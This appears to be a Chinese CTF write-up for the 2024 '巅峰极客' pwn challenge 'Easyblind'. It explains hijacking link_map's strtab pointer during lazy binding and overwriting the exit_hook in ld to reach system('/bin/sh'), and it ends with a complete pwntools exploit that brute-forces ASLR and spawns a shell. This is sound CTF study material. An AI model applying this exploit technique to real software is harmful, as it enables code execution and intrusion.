2024巅峰极客Easyblind
前置
1.需要有ret2dlresolve的基础知识
2.该题第一步如何实现loop,在C0Lin师傅的博客中有分析这里就不细讲了。
3.对exit_hook有基本了解
关于link_map的strtab劫持
首先看,通过ret2dlresolve可以知道延迟绑定,需要通过_dl_fixup函数:
1 2 3 4 5 6 7 8 9 10
| _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); ...
|
主要看strtab是如何获取地址的,D_PTR (l, l_info[DT_STRTAB])展开后是((l)->l_info[5]->d_un.d_ptr + (dl_relocate_ld (l) ? 0 : (l)->l_addr)),本质就是通过link_map保存的指向dynamic结构体:
1 2 3 4 5 6 7 8 9
| typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
|
d_ptr保存的就是指向strtab的地址,读取的汇编代码如下:
1 2 3
| <_dl_fixup+49> mov rcx, qword ptr [rbx + 0x68]// rbx就是指向的link_map的地址 <_dl_fixup+56> add rdi, qword ptr [rcx + 8]// rcx就是指向保存strtab的dynamic结构体 // [rcx+8]就是取出strtab
|
那么只要修改link_map+0x68指向的地址到可控地址,下次延迟绑定时就可以任意libc函数执行了。一般就是修改其后几位使其指向bss段上面的可控地址,或者用写入heap地址,然后将可控地址的偏移为st_name的地方写上想要执行函数的字符串即可。
对于该题我们每一次循环可以任意修改一字节libc和ld可写段的内容,因此link_map+0x68是可以成功修改的,同时根据改题正常想法会去修改link_map+0x68保存的地址为执行bss段上保存malloc的chunk的地址-8,这样strtab就是执行题目申请的那个地址了。
但是如下面数据所示0x5621e5e41e78为link_map+0x68保存的地址,0x5621e5e41e80保存的是strtab的地址,而malloc的地址保存在0x5621e5e42050,同0x5621e5e41e78相差大于一个字节,题目一次修改则只能改一次字节,每次都要经过延迟绑定,必定会报错退出。在细看下面数据0x5621e5e41ec0指向的0x7ff3f2d75160是在libc空间附近的地址,这个东西就是dyn里的_r_debug,因此我们可以将link_map+0x68保存的地址0x5621e5e41e78最后一个字节改成b8,将strtab劫持到0x7ff3f2d75160上,且此地址里的内容可以为本题修改。
1 2 3 4 5 6 7 8 9 10 11 12
| 00:0000│ 0x5621e5e41e78 ◂— 0x5 01:0008│ 0x5621e5e41e80 —▸ 0x5621e5e43000 ◂— 0x6f732e6362696c00 02:0010│ 0x5621e5e41e88 ◂— 0x6 03:0018│ 0x5621e5e41e90 —▸ 0x5621e5e43110 ◂— 0x0 04:0020│ 0x5621e5e41e98 ◂— 0xa 05:0028│ 0x5621e5e41ea0 ◂— 0x109 06:0030│ 0x5621e5e41ea8 ◂— 0xb 07:0038│ 0x5621e5e41eb0 ◂— 0x18 08:0040│ 0x5621e5e41eb8 ◂— 0x15 09:0048│ 0x5621e5e41ec0 —▸ 0x7ff3f2d75160 (_r_debug) ◂— 0x1 0a:0050│ 0x5621e5e41ec8 ◂— 0x3 0b:0058│ 0x5621e5e41ed0 —▸ 0x5621e5e42000 ◂— 0x3df8
|
通过上面的方法对0x7ff3f2d75160+st_name(该题的write的st_name为62)地址写函数字符串则可以实现任意libc函数的执行
正常解析过程为:
劫持后的解析过程:
即便能任意执行system,但是rdi不可控,所以只能另外想办法,同时该题泄露地址困难,题目没有像其他正常题目会进行setbuf,所以的IO_file里的各个指针都未初始化,即便执行putchar,使得指针初始化,指向的地址是也是heap段上,所以泄露困难。
该题需要注意的是write字符串篇偏移是62,而_r_debug+62刚好指向了link_map:main的l_name+6,如果写字符串则会修改l_name和l_ld,但是这两个东西并不会影响到延迟绑定程序。下面数据中0x7fa2d9c11190是link_map,加8则是l_name。
1 2 3 4 5 6 7 8 9
| pwndbg> telescope 0x7fa2d9c11190 00:0000│ 0x7fa2d9c11190 —▸ 0x558449dc2018 ◂— 0x10c0 01:0008│ r10-6 0x7fa2d9c11198 ◂— 0x78657fa2d9c11730 02:0010│ 0x7fa2d9c111a0 ◂— 0x558449007469 /* 'it' */ 03:0018│ 0x7fa2d9c111a8 —▸ 0x7fa2d9c11740 —▸ 0x7fffd33b9000 ◂— jg 0x7fffd33b9047 04:0020│ 0x7fa2d9c111b0 ◂— 0x0 05:0028│ 0x7fa2d9c111b8 —▸ 0x7fa2d9c11190 —▸ 0x558449dc2018 ◂— 0x10c0 06:0030│ 0x7fa2d9c111c0 ◂— 0x0 07:0038│ 0x7fa2d9c111c8 —▸ 0x7fa2d9c11718 —▸ 0x7fa2d9c11730 ◂— 0x0
|
exit_hook
参考了当时唯一解Tplus师傅的wp,师傅用的方法是利用exit_hook。
调试exit_hook需要找到_rtld_global的地址,以及对应的偏移地址,题目只给libc和ld,不好找,非常建议使用cpwn一键帮你配好调试的symblos和源码,用过的都说好。
exit_hook主要是利用这两个函数
1 2
| _dl_rtld_lock_recursive = 0x7fda65ae3150 <rtld_lock_default_lock_recursive>, _dl_rtld_unlock_recursive = 0x7fda65ae3160 <rtld_lock_default_unlock_recursive>,
|
此刻的system地址为0x7fda65940290,有6位不同后三位固定不用爆破,前3位需要爆破,则成功率为1/(16*16*16)即1/4096。因此这题特地给了个map.txt就是不想你爆破太久。
在libc2.31环境下_dl_rtld_lock_recursive地址为_rtld_global+3848,与ld可写段偏移为0xf68
同时rdi指向的是_rtld_global+2312与ld可写段偏移为0x968
该题payload的数据是固定的,搞出payload一次性输出即可,减少交互次数。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
p_addr = lambda name, addr : print(f'{name}: {hex(addr)}') ru=lambda s :p.recvuntil(s) rut=lambda s,t :p.recvuntil(s,timeout=t) r=lambda n :p.recv(n) sla=lambda d,b:p.sendlineafter(d,b) sa=lambda d,b:p.sendafter(d,b) sl=lambda s :p.sendline(s) sls=lambda s :p.sendline(str(s).encode()) ss=lambda s :p.send(str(s).encode()) s=lambda s :p.send(s) uu64=lambda data :u64(data.ljust(8,b'\x00')) it=lambda :p.interactive()
def write_one(addr, data): tmp = b"" for i in range(len(data)): tmp += (p64(addr+i)+p8(data[i])) return tmp p = process("./pwn")
ld = 0x265000 - 0x10
link_base_addr = ld + 0x1190 link_dyn_str = link_base_addr + 0x68 fake_str = ld + 0x1160 exit_hook = ld + 0xf68 exit_hook_rdi = ld + 0x968 write_st_name = 62
payload = b""
payload+= (p64(link_base_addr)+p8(0x18))
str_ = b"\x90\x62\xb6"
payload+= write_one(exit_hook, str_)
str_ = b"/bin/sh\x00" payload+= write_one(exit_hook_rdi, str_)
str_ = b"exit\x00" payload+= write_one(fake_str+write_st_name, str_)
payload+= (p64(link_dyn_str)+p8(0xb8))
count = 0 while (True): try: p = process("./pwn") s(payload) sl(b"echo ok") p.recvuntil(b"ok") sl(b"cat /flag") p.interactive() break except Exception as e: p.close() count+=1 print(count) continue
it()
|